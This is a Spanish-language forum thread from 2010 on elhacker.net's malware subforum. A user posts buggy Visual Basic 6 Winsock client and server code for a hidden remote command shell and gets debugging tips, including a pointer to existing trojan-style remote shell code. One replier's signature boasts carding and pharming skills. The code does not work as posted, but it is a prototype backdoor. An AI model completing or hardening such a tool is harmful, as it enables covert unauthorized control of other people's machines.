elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
17 Mayo 2012, 07:49  


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Ayuda con mi code
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con mi code  (Leído 1,610 veces)
mastercss

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Ayuda con mi code
« en: 27 Enero 2010, 23:37 »

ME ley unos cuntos manuales de programacion orientada a administración remota y se me ocurrio hacer una shell remota con su servidor y su cliente. Les pongo el code:

Cliente:
Código
Private Sub Command1_Click()
Dim datos As String
Text4.Text = datos
ws.SendData datos
Text4.Text = ""
End Sub
 
Private Sub Command1_KeyPress(KeyAscii As Integer)
If KeyPress = 13 Then Command1_Click
End Sub
 
Private Sub Command2_Click()
ws.Connect
End Sub
 
Private Sub Form_Load()
ws.RemotePort = 9000
ws.RemoteHost = Text1.Text
If ws.State = 0 Then Label3.Caption = Desconectado
If ws.State = 7 Then Label3.Caption = Conectado
End Sub
 
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim i As String
ws.GetData i
Text3.Text = Text3.Text & "Remote Shell: " & i & vbCrLf
End Sub

Resulta que cunado le doy al boton conectar e inserto el comando que quiero ejecutar remotamente me sale el siguiente error: Error 40006 en tiempo de ejecución, protocolo o estado de conexión erroneo para la transacción solicitada.

Server:

Código
Private Sub Command1_Click()
ruta = "C:\WINDOWS\"
Shell "cmd.exe /c " & """recibir > ruta & cosa.txt"""
Open ruta & cosa.txt For Input As #1
comando = Input(LOF(1), #1)
Close #1
Call Command2_Click
End Sub
 
Private Sub Command2_Click()
Winsock1.SendData comando
End Sub
 
Private Sub Form_Load()
Winsock1.LocalPort = 9000
End Sub
 
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Listen
Winsock1.Accept requestID
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim recibir As String
Winsock1.GetData recibir
Call Command1_Click
End Sub

En el server lo que me surge la duda es en esta linea, lei sobr ela doble comilla pero no me kedo del todo claro:

Código
Shell "cmd.exe /c " & """recibir > ruta & cosa.txt"""

Espero me puedan corregir para así aprender de el error/es que haya cometido.

P.D: Aclaro el server esta en visible=false y no se ñade al registro ni nada de eso. CUnado consiga que ejecutre bien los comandos remotamente ya le añadire todo lo necesario para que sea un herramienta de utilidad. Para comprobar que funcionara he puesto en la casilla de ip del cliente mi ip local 127.0.0.1. En otras aplicaciones que ya he hecho no me ha dado problemas con esa ip al probarlo en mi pc.

Edito: Error 40006 segun microsoft-->Si se llama al método SendData en el control WinSock antes de que el socket se ha conectado, recibirá el error de Visual Basic de Microsoft:

Error en tiempo de ejecución: 40006

"Protocolo o conexión estado erróneo para la transacción solicitada o solicitar".

Aun asi me he fijado en otros programas con winsock que he hecho y no encuntro el problema es como si no conectara. Para colmo no se si esta o no conectado porque los labels no me dan el estado de la conexión. Asi que ya no se llevo un buen rato debanandome los sesos.


Salu2

Salu2


« Última modificación: 28 Enero 2010, 00:52 por mastercss » En línea
kyps

Desconectado Desconectado

Mensajes: 113



Ver Perfil
Re: Ayuda con mi code
« Respuesta #1 en: 27 Enero 2010, 23:41 »

prueba con C:\windows\system32\CMD.EXE /c
En línea

Edad 15 Años,
--- Conocimientos ---
Carding 99%
Pharming 99%
Php 25%
Html & Css 45%
Python 65%
Visual Basic 5%
Batch 15%
Linux 55%
No esta Mal no?
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.186


Se siente observado ¬¬'


Ver Perfil
Re: Ayuda con mi code
« Respuesta #2 en: 28 Enero 2010, 14:38 »

prueba con C:\windows\system32\CMD.EXE /c
Mejor sera usar la varible de entorno %COMSPEC%...

De todas formas esa Shell Remota es una birria... mirate algo sobre usar Pipes... Hay varios codigos de Cobein sobre ShellRemotas... uno se llama "Jugaba que hacia un troyano" o algo asi... busca ;)
En línea

YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Ayuda con mi code
« Respuesta #3 en: 28 Enero 2010, 16:53 »

prueba con C:\windows\system32\CMD.EXE /c
Mejor sera usar la varible de entorno %COMSPEC%...

Ya discutimos eso de %COMSPEC% :¬¬
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.186


Se siente observado ¬¬'


Ver Perfil
Re: Ayuda con mi code
« Respuesta #4 en: 28 Enero 2010, 17:04 »

prueba con C:\windows\system32\CMD.EXE /c
Mejor sera usar la varible de entorno %COMSPEC%...

Ya discutimos eso de %COMSPEC% :¬¬
No es lo mismo, ya que el sugiere poner la ruta completa... y en caso de que sea W2000 o que este instalado en otro disco duro la ruta que el sugiere no funcionaria...

:P
En línea

YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Ayuda con mi code
« Respuesta #5 en: 28 Enero 2010, 17:11 »

Tienes razon :¬¬ :P :xD

YST - 1
Karcrack - 1


 :xD :xD :xD :xD :xD
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.186


Se siente observado ¬¬'


Ver Perfil
Re: Ayuda con mi code
« Respuesta #6 en: 28 Enero 2010, 17:17 »

Tienes razon :¬¬ :P :xD

YST - 1
Karcrack - 1


 :xD :xD :xD :xD :xD
La cosa esta reñida :P

Venga, no spammeemos mas, que soy Mod tengo que dar ejemplo :laugh:
En línea

Belem

Desconectado Desconectado

Mensajes: 203



Ver Perfil
Re: Ayuda con mi code
« Respuesta #7 en: 28 Enero 2010, 22:57 »

Citar
Error 40006 en tiempo de ejecución, protocolo o estado de conexión erroneo para la transacción solicitada.
Ese error sale cuando se trata de enviar datos por medio de Winsock y no se ha establecido previamente la conexion con el equipo remoto (si el protocolo es TCP). Pero tambien hay otros detalles:

Yo lo que veo es que "comando" deberia ser una variable publica, para que sea visible en command1 y command2
Citar
rivate Sub Command1_Click()
ruta = "C:\WINDOWS\"
Shell "cmd.exe /c " & """recibir > ruta & cosa.txt"""
Open ruta & cosa.txt For Input As #1
comando = Input(LOF(1), #1)
Close #1
Call Command2_Click
End Sub
 
Private Sub Command2_Click()
Winsock1.SendData comando
End Sub
Por que si no "comando" en el boton command2 siempre estará en blanco

Si tu codigo esta completo, tampoco veo que pongas "localport" en el cliente, que tendria que ser el mismo que esté como "RemotePort" en el servidor, quizas por eso te estará saliendo el error.
En línea

[ *BELEM * ]
mastercss

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: Ayuda con mi code
« Respuesta #8 en: 31 Enero 2010, 22:51 »

Gracias, la verdad esque creo x que es. Al parecer me da problemas x que renobre el control winsock1 a ws y no me lo detecta, es decir; he puesto el control winsock en el formulario, y al renombrarlo a ws, cunado escribo no me sugiere posibles etiquetas del control como remoteport, localport, remotehostip etc...

Salu2
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con code en python
Scripting
Ricardo95 3 736 Último mensaje 1 Diciembre 2010, 19:34
por Novlucker
Ayuda en code asm y Avira
Programación General
chuli17 1 301 Último mensaje 19 Marzo 2012, 23:00
por MCKSys Argentina
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines